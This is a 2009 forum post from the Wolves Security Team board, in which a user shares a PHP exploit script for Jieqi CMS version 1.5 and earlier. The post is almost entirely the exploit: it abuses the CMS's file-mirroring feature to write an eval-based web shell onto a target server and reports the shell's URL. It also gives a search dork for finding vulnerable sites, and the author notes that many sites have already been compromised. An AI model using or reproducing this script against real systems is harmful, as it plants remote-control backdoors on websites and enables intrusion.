Wolves Security Team

Unfortunately no one can be told what W.S.T is - you have to see it for yourself.

You are not logged in.

Announcement

欢迎cnryan同学加入狼族:-)

Follow Wolves Security Team Official Google Buzz!

  • Index
  • » 原创
  • » Jieqi cms v1.5 remote code execution exploit

#1 2009-01-30 18:42:28

flyh4t
Administrator
Registered: 2008-10-06
Posts: 89

Jieqi cms v1.5 remote code execution exploit

BY flyh4t

http://bbs.wolvez.org

转个exp出来迎接新年

<?php
print_r('
+---------------------------------------------------------------------------+
Jieqi cms <= 1.5 remote code execution exploit
by Flyh4t
mail: flyh4t@hotmail.com
team: http://www.wolvez.org
dork: "技术支持:杰奇网络"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to jieqi cms
Example:
php '.$argv[0].' localhost /
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$url = 'http://'.$host.$path.'mirrorfile.php?filename=cache/flyh4t.php&action=writetofile&content=';
$shell = 'http://'.$host.$path.'cache/flyh4t.php';
$cmd = urlencode("<?php @eval(\$_POST[wolvez]);?>test");
$str = file_get_contents($url.$cmd);
if ( file_get_contents($shell) == 'test')
exit("Expoilt Success!\nView Your shell:\t$shell\n");
else
exit("Exploit Failed!\n");
?>

ps:表指望能打太多shell,时间太长已经被玩烂了

Last edited by flyh4t (2009-01-30 21:17:32)

Offline

  • Index
  • » 原创
  • » Jieqi cms v1.5 remote code execution exploit

Board footer

Powered by FluxBB